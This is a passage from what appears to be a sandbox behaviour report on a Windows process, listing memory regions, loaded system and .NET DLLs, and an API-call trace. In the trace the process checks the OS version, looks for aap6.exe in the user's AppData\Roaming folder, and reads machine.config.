	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002200000"
	        filename = ""

Region:
	              id = 1043
	        start_va = 0x4870000
	          end_va = 0x496ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004870000"
	        filename = ""

Region:
	              id = 1044
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 1045
	        start_va = 0x4670000
	          end_va = 0x46affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004670000"
	        filename = ""

Region:
	              id = 1046
	        start_va = 0x4740000
	          end_va = 0x477ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004740000"
	        filename = ""

Region:
	              id = 1047
	        start_va = 0x4a10000
	          end_va = 0x4b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a10000"
	        filename = ""

Region:
	              id = 1048
	        start_va = 0x74410000
	          end_va = 0x7441dfff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 1049
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 1050
	        start_va = 0x3f0000
	          end_va = 0x3f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003f0000"
	        filename = ""

Region:
	              id = 1051
	        start_va = 0x440000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000440000"
	        filename = ""

Region:
	              id = 1052
	        start_va = 0x46e0000
	          end_va = 0x471ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046e0000"
	        filename = ""

Region:
	              id = 1053
	        start_va = 0x4b30000
	          end_va = 0x4c2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b30000"
	        filename = ""

Region:
	              id = 1054
	        start_va = 0x4db0000
	          end_va = 0x4eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004db0000"
	        filename = ""

Region:
	              id = 1055
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 1056
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 1057
	        start_va = 0x76390000
	          end_va = 0x76412fff
	     entry_point = 0x76390000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 1058
	        start_va = 0x75a00000
	          end_va = 0x75a8efff
	     entry_point = 0x75a00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 1059
	        start_va = 0x820000
	          end_va = 0x820fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000820000"
	        filename = ""

Region:
	              id = 1060
	        start_va = 0x751e0000
	          end_va = 0x75210fff
	     entry_point = 0x751e0000
	     region_type = mapped_file
	            name = "wbemdisp.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.dll")

Region:
	              id = 1061
	        start_va = 0x75180000
	          end_va = 0x751dbfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")

Region:
	              id = 1062
	        start_va = 0x75af0000
	          end_va = 0x75b24fff
	     entry_point = 0x75af0000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 1063
	        start_va = 0x77bb0000
	          end_va = 0x77bb5fff
	     entry_point = 0x77bb0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 1064
	        start_va = 0x4c30000
	          end_va = 0x4d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c30000"
	        filename = ""

Region:
	              id = 1065
	        start_va = 0x4eb0000
	          end_va = 0x50dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004eb0000"
	        filename = ""

Region:
	              id = 1066
	        start_va = 0x75170000
	          end_va = 0x75179fff
	     entry_point = 0x75170000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")

Region:
	              id = 1067
	        start_va = 0x75150000
	          end_va = 0x75166fff
	     entry_point = 0x75150000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll")

Region:
	              id = 1068
	        start_va = 0x75140000
	          end_va = 0x7514efff
	     entry_point = 0x75140000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")

Region:
	              id = 1378
	        start_va = 0x70b60000
	          end_va = 0x70bf5fff
	     entry_point = 0x70b60000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")

Region:
	              id = 1379
	        start_va = 0x75120000
	          end_va = 0x75137fff
	     entry_point = 0x75120000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll")

Region:
	              id = 1380
	        start_va = 0x4c30000
	          end_va = 0x4d2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c30000"
	        filename = ""

Region:
	              id = 1381
	        start_va = 0x4d40000
	          end_va = 0x4d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d40000"
	        filename = ""

Region:
	              id = 1382
	        start_va = 0x755d0000
	          end_va = 0x7562efff
	     entry_point = 0x755d0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 1383
	        start_va = 0x830000
	          end_va = 0x83efff
	     entry_point = 0x830000
	     region_type = mapped_file
	            name = "wbemdisp.tlb"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.tlb")

Region:
	              id = 1384
	        start_va = 0x840000
	          end_va = 0x846fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000840000"
	        filename = ""

Region:
	              id = 1385
	        start_va = 0x850000
	          end_va = 0x851fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000850000"
	        filename = ""

Region:
	              id = 1386
	        start_va = 0x4780000
	          end_va = 0x483ffff
	     entry_point = 0x4780000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1460
	        start_va = 0x860000
	          end_va = 0x874fff
	     entry_point = 0x860000
	     region_type = mapped_file
	            name = "custommarshalers.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")

Region:
	              id = 1461
	        start_va = 0x880000
	          end_va = 0x880fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 1462
	        start_va = 0x60350000
	          end_va = 0x60364fff
	     entry_point = 0x60350000
	     region_type = mapped_file
	            name = "custommarshalers.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")

Region:
	              id = 1463
	        start_va = 0x6feb0000
	          end_va = 0x6fee9fff
	     entry_point = 0x6feb0000
	     region_type = mapped_file
	            name = "custommarshalers.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")

Region:
	              id = 1468
	        start_va = 0x890000
	          end_va = 0x89ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000890000"
	        filename = ""

Region:
	              id = 1469
	        start_va = 0x8a0000
	          end_va = 0x8a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 1470
	        start_va = 0x8a0000
	          end_va = 0x8a3fff
	     entry_point = 0x8a0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")

Region:
	              id = 1471
	        start_va = 0x6fc70000
	          end_va = 0x6fd73fff
	     entry_point = 0x6fc70000
	     region_type = mapped_file
	            name = "system.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")

Region:
	              id = 1472
	        start_va = 0x4630000
	          end_va = 0x466ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004630000"
	        filename = ""

Region:
	              id = 1473
	        start_va = 0x4ef0000
	          end_va = 0x4feffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ef0000"
	        filename = ""

Region:
	              id = 1474
	        start_va = 0x50a0000
	          end_va = 0x50dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050a0000"
	        filename = ""

Region:
	              id = 1475
	        start_va = 0x7ef40000
	          end_va = 0x7ef4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef40000"
	        filename = ""

Region:
	              id = 1476
	        start_va = 0x7ef50000
	          end_va = 0x7ef9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef50000"
	        filename = ""

Region:
	              id = 1477
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 1478
	        start_va = 0x8b0000
	          end_va = 0x8effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1479
	        start_va = 0x5200000
	          end_va = 0x52fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005200000"
	        filename = ""

Region:
	              id = 1480
	        start_va = 0x6a310000
	          end_va = 0x6a318fff
	     entry_point = 0x6a310000
	     region_type = mapped_file
	            name = "wminet_utils.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")

Region:
	              id = 1481
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 1482
	        start_va = 0x8f0000
	          end_va = 0x8f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008f0000"
	        filename = ""

Region:
	              id = 1483
	        start_va = 0x2160000
	          end_va = 0x216ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002160000"
	        filename = ""

Region:
	              id = 1484
	        start_va = 0x5030000
	          end_va = 0x506ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005030000"
	        filename = ""

Region:
	              id = 1485
	        start_va = 0x5370000
	          end_va = 0x546ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005370000"
	        filename = ""

Region:
	              id = 1486
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 1487
	        start_va = 0x8b0000
	          end_va = 0x8b4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1488
	        start_va = 0x5060000
	          end_va = 0x509ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005060000"
	        filename = ""

Region:
	              id = 1489
	        start_va = 0x50e0000
	          end_va = 0x51dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050e0000"
	        filename = ""

Region:
	              id = 1490
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 1497
	        start_va = 0x8b0000
	          end_va = 0x8b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1498
	        start_va = 0x8b0000
	          end_va = 0x8c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1499
	        start_va = 0x6fb70000
	          end_va = 0x6fc60fff
	     entry_point = 0x6fb70000
	     region_type = mapped_file
	            name = "system.configuration.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")

Region:
	              id = 1500
	        start_va = 0x6d8c0000
	          end_va = 0x6ddf5fff
	     entry_point = 0x6d8c0000
	     region_type = mapped_file
	            name = "system.xml.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")

Region:
	              id = 1501
	        start_va = 0x8d0000
	          end_va = 0x8dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008d0000"
	        filename = ""

Region:
	              id = 1502
	        start_va = 0x6fe30000
	          end_va = 0x6fe44fff
	     entry_point = 0x6fe30000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll")

Region:
	              id = 1503
	        start_va = 0x6fe50000
	          end_va = 0x6fea1fff
	     entry_point = 0x6fe50000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll")

Region:
	              id = 1504
	        start_va = 0x6fe20000
	          end_va = 0x6fe2cfff
	     entry_point = 0x6fe20000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll")

Region:
	              id = 1505
	        start_va = 0x6fb30000
	          end_va = 0x6fb6bfff
	     entry_point = 0x6fb30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 1506
	        start_va = 0x51e0000
	          end_va = 0x53fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051e0000"
	        filename = ""

Region:
	              id = 1507
	        start_va = 0x6fb20000
	          end_va = 0x6fb24fff
	     entry_point = 0x6fb20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll")

Region:
	              id = 1508
	        start_va = 0x6fb10000
	          end_va = 0x6fb15fff
	     entry_point = 0x6fb10000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll")

Region:
	              id = 1509
	        start_va = 0x2170000
	          end_va = 0x218ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002170000"
	        filename = ""

Region:
	              id = 1510
	        start_va = 0x4ff0000
	          end_va = 0x502ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ff0000"
	        filename = ""

Region:
	              id = 1511
	        start_va = 0x51e0000
	          end_va = 0x52dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051e0000"
	        filename = ""

Region:
	              id = 1512
	        start_va = 0x53c0000
	          end_va = 0x53fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053c0000"
	        filename = ""

Region:
	              id = 1513
	        start_va = 0x5400000
	          end_va = 0x57f2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005400000"
	        filename = ""

Region:
	              id = 1514
	        start_va = 0x6f9c0000
	          end_va = 0x6fa0efff
	     entry_point = 0x6f9c0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll")

Region:
	              id = 1515
	        start_va = 0x6fab0000
	          end_va = 0x6fb07fff
	     entry_point = 0x6fab0000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")

Region:
	              id = 1516
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 1517
	        start_va = 0x6fa90000
	          end_va = 0x6faabfff
	     entry_point = 0x6fa90000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 1518
	        start_va = 0x6fa80000
	          end_va = 0x6fa86fff
	     entry_point = 0x6fa80000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 1519
	        start_va = 0x6fa70000
	          end_va = 0x6fa7cfff
	     entry_point = 0x6fa70000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll")

Region:
	              id = 1520
	        start_va = 0x6f900000
	          end_va = 0x6f911fff
	     entry_point = 0x6f900000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll")

Region:
	              id = 1521
	        start_va = 0x6f9b0000
	          end_va = 0x6f9b7fff
	     entry_point = 0x6f9b0000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll")

Region:
	              id = 1522
	        start_va = 0x759b0000
	          end_va = 0x759d6fff
	     entry_point = 0x759b0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 1523
	        start_va = 0x5320000
	          end_va = 0x535ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005320000"
	        filename = ""

Region:
	              id = 1524
	        start_va = 0x5800000
	          end_va = 0x58fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005800000"
	        filename = ""

Region:
	              id = 1525
	        start_va = 0x6f8b0000
	          end_va = 0x6f8f3fff
	     entry_point = 0x6f8b0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 1526
	        start_va = 0x7ef37000
	          end_va = 0x7ef39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef37000"
	        filename = ""

Region:
	              id = 1527
	        start_va = 0x5900000
	          end_va = 0x5a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005900000"
	        filename = ""

Region:
	              id = 1528
	        start_va = 0x6f8a0000
	          end_va = 0x6f8a5fff
	     entry_point = 0x6f8a0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 1529
	        start_va = 0x6f860000
	          end_va = 0x6f897fff
	     entry_point = 0x6f860000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 1530
	        start_va = 0x5900000
	          end_va = 0x59affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005900000"
	        filename = ""

Region:
	              id = 1531
	        start_va = 0x5a00000
	          end_va = 0x5a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a00000"
	        filename = ""

Region:
	              id = 1532
	        start_va = 0x74ec0000
	          end_va = 0x74ed2fff
	     entry_point = 0x74ec0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")


Thread:
	id = 46
	os_tid = 0xa14

	[0117.626] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0117.674] GetVersionExW (in: lpVersionInformation=0x75cb10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x75cb10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0117.674] GetLastError () returned 0x0
	[0117.675] GetVersionExW (in: lpVersionInformation=0x75cb10*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x75cb10*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0117.675] GetLastError () returned 0x0
	[0117.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x2de6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0117.679] GetLastError () returned 0x0
	[0117.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x2de710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0117.706] GetLastError () returned 0x2
	[0117.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x2de6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0117.709] GetLastError () returned 0x2
	[0117.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x2de674, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0117.711] GetLastError () returned 0x2
	[0117.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x2de710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0117.715] GetLastError () returned 0x2
	[0117.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x2de6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0117.715] GetLastError () returned 0x2
	[0118.466] lstrlenW (lpString="䅁") returned 1
	[0118.468] GetVersionExW (in: lpVersionInformation=0x72f300*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x72f300*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0118.468] GetLastError () returned 0x2
	[0118.532] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x72f300, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0118.532] GetLastError () returned 0x8013141b
	[0118.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ddfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0118.675] GetLastError () returned 0x2
	[0118.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ddfe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0118.676] GetLastError () returned 0x2
	[0118.676] SetErrorMode (uMode=0x1) returned 0x0
	[0118.677] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2de468 | out: lpFileInformation=0x2de468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0118.677] GetLastError () returned 0x2
	[0118.677] SetErrorMode (uMode=0x0) returned 0x1
	[0118.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ddfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0118.678] GetLastError () returned 0x2
	[0118.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ddf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0118.678] GetLastError () returned 0x2
	[0118.748] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x2ddf70 | out: pfEnabled=0x2ddf70) returned 0x0
